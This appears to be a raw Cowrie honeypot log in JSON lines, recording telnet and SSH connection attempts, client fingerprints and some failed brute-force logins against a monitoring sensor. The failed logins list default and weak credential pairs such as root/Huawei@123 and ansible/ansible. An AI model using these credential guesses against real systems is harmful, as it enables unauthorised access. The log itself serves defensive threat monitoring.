{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":51708,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b60fbab4f0a","protocol":"telnet","message":"New connection: 136.144.139.78:51708 (159.203.135.109:23) [session: 6b60fbab4f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:45.693716Z"}
{"eventid":"cowrie.session.closed","duration":1.3070111274719238,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:46.859019Z","src_ip":"134.209.8.29","session":"3d9968d054d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.59110498428345,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:47.342894Z","src_ip":"65.60.27.33","session":"88328e362266","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":44532,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4bac4a7fe60","protocol":"ssh","message":"New connection: 176.65.132.254:44532 (10.17.0.5:22) [session: f4bac4a7fe60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:48.651624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:48.656857Z","src_ip":"176.65.132.254","session":"f4bac4a7fe60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.88950061798096,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:48.691100Z","src_ip":"62.210.97.77","session":"f80b22c0aa15","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:48.750966Z","src_ip":"176.65.132.254","session":"f4bac4a7fe60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.276509046554565,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:48.937313Z","src_ip":"62.210.97.77","session":"96d3d6c50e13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":51722,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ec17b81739b","protocol":"telnet","message":"New connection: 136.144.139.78:51722 (159.203.135.109:23) [session: 3ec17b81739b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:48.968689Z"}
{"eventid":"cowrie.session.closed","duration":43.1172776222229,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:48.974150Z","src_ip":"65.60.27.33","session":"475fdccd343e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36718,"dst_ip":"10.17.0.5","dst_port":23,"session":"06b117c0814d","protocol":"telnet","message":"New connection: 62.210.97.77:36718 (10.17.0.5:23) [session: 06b117c0814d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:49.017548Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258","message":"login attempt [root/147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:49.041542Z","src_ip":"176.65.132.254","session":"f4bac4a7fe60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.41026854515076,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:49.315131Z","src_ip":"62.210.97.77","session":"0989e332b08d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":25196,"dst_ip":"159.203.135.109","dst_port":22,"session":"77c0f8a25cc3","protocol":"ssh","message":"New connection: 152.32.189.59:25196 (159.203.135.109:22) [session: 77c0f8a25cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:49.493604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:49.516132Z","src_ip":"152.32.189.59","session":"77c0f8a25cc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:49.784323Z","src_ip":"152.32.189.59","session":"77c0f8a25cc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:50.183281Z","src_ip":"176.65.132.254","session":"f4bac4a7fe60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36732,"dst_ip":"10.17.0.5","dst_port":23,"session":"38f9d7c3d1b6","protocol":"telnet","message":"New connection: 62.210.97.77:36732 (10.17.0.5:23) [session: 38f9d7c3d1b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:50.335274Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36738,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff5ffe05e318","protocol":"telnet","message":"New connection: 62.210.97.77:36738 (10.17.0.5:23) [session: ff5ffe05e318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:50.422689Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"matt","message":"login attempt [postgres/matt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:50.661674Z","src_ip":"152.32.189.59","session":"77c0f8a25cc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36744,"dst_ip":"10.17.0.5","dst_port":23,"session":"f078d1359cdb","protocol":"telnet","message":"New connection: 62.210.97.77:36744 (10.17.0.5:23) [session: f078d1359cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:50.995740Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36752,"dst_ip":"10.17.0.5","dst_port":23,"session":"8324b17b2338","protocol":"telnet","message":"New connection: 62.210.97.77:36752 (10.17.0.5:23) [session: 8324b17b2338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:51.092022Z"}
{"eventid":"cowrie.session.closed","duration":30.408766984939575,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:51.100779Z","src_ip":"136.144.139.78","session":"1540084d656b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":44546,"dst_ip":"10.17.0.5","dst_port":22,"session":"147b71eeebac","protocol":"ssh","message":"New connection: 176.65.132.254:44546 (10.17.0.5:22) [session: 147b71eeebac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:51.851355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:51.856123Z","src_ip":"176.65.132.254","session":"147b71eeebac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:51.893526Z","src_ip":"152.32.189.59","session":"77c0f8a25cc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:51.942875Z","src_ip":"176.65.132.254","session":"147b71eeebac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal","message":"login attempt [portal/portal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:52.376563Z","src_ip":"176.65.132.254","session":"147b71eeebac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.68342590332031,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:52.998213Z","src_ip":"62.210.97.77","session":"9df8b7861b92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:53.460660Z","src_ip":"176.65.132.254","session":"147b71eeebac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.604015588760376,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:53.619001Z","src_ip":"65.60.27.33","session":"fbb347173326","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.722174882888794,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:54.420481Z","src_ip":"62.210.97.77","session":"ac08996abd23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.11070418357849,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:55.217787Z","src_ip":"62.210.97.77","session":"1de2429b6044","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38792,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cb4ff825b52","protocol":"telnet","message":"New connection: 65.60.27.33:38792 (10.17.0.5:23) [session: 1cb4ff825b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:55.458061Z"}
{"eventid":"cowrie.session.closed","duration":41.646589517593384,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:55.662159Z","src_ip":"134.209.8.29","session":"023e64f957fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.492799282073975,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:55.973422Z","src_ip":"62.210.97.77","session":"f6a5d67334d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":56176,"dst_ip":"10.17.0.5","dst_port":22,"session":"6aeff58005c9","protocol":"ssh","message":"New connection: 176.65.132.254:56176 (10.17.0.5:22) [session: 6aeff58005c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:56.588338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:56.592968Z","src_ip":"176.65.132.254","session":"6aeff58005c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:56.674897Z","src_ip":"176.65.132.254","session":"6aeff58005c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:56.919675Z","src_ip":"176.65.132.254","session":"6aeff58005c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.13596725463867,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:57.331358Z","src_ip":"65.60.27.33","session":"81cbed12d59c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.180410623550415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:57.448298Z","src_ip":"62.210.97.77","session":"cf7abecf55ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41362,"dst_ip":"10.17.0.5","dst_port":23,"session":"f24c1fdecd8e","protocol":"telnet","message":"New connection: 65.60.27.33:41362 (10.17.0.5:23) [session: f24c1fdecd8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:57.822938Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:58.003295Z","src_ip":"176.65.132.254","session":"6aeff58005c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41368,"dst_ip":"10.17.0.5","dst_port":23,"session":"60a77659ef82","protocol":"telnet","message":"New connection: 65.60.27.33:41368 (10.17.0.5:23) [session: 60a77659ef82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:58.829532Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45630,"dst_ip":"10.17.0.5","dst_port":23,"session":"eee5e0408473","protocol":"telnet","message":"New connection: 62.210.97.77:45630 (10.17.0.5:23) [session: eee5e0408473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:12:59.216997Z"}
{"eventid":"cowrie.session.closed","duration":47.364349126815796,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:00.422287Z","src_ip":"134.209.8.29","session":"56affebf427a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.48873734474182,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:00.494080Z","src_ip":"62.210.97.77","session":"cc6a0143f388","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":56202,"dst_ip":"10.17.0.5","dst_port":22,"session":"b039a0f9a956","protocol":"ssh","message":"New connection: 176.65.132.254:56202 (10.17.0.5:22) [session: b039a0f9a956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:00.914502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:00.919182Z","src_ip":"176.65.132.254","session":"b039a0f9a956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.17098331451416,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:00.934117Z","src_ip":"62.210.97.77","session":"2fea9899983a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:01.001564Z","src_ip":"176.65.132.254","session":"b039a0f9a956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":52928,"dst_ip":"10.17.0.5","dst_port":23,"session":"15514394157f","protocol":"telnet","message":"New connection: 38.54.119.93:52928 (10.17.0.5:23) [session: 15514394157f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:01.199574Z"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:01.255766Z","src_ip":"176.65.132.254","session":"b039a0f9a956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:02.352358Z","src_ip":"176.65.132.254","session":"b039a0f9a956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45642,"dst_ip":"10.17.0.5","dst_port":23,"session":"577ed5a51c65","protocol":"telnet","message":"New connection: 62.210.97.77:45642 (10.17.0.5:23) [session: 577ed5a51c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:03.449872Z"}
{"eventid":"cowrie.session.closed","duration":45.84625697135925,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:03.604886Z","src_ip":"38.54.119.93","session":"9f73a1213210","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.713956117630005,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:04.286026Z","src_ip":"62.210.97.77","session":"dd36041cda9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":47642,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ff1ff9d84b2","protocol":"ssh","message":"New connection: 176.65.132.254:47642 (10.17.0.5:22) [session: 6ff1ff9d84b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:05.403316Z"}
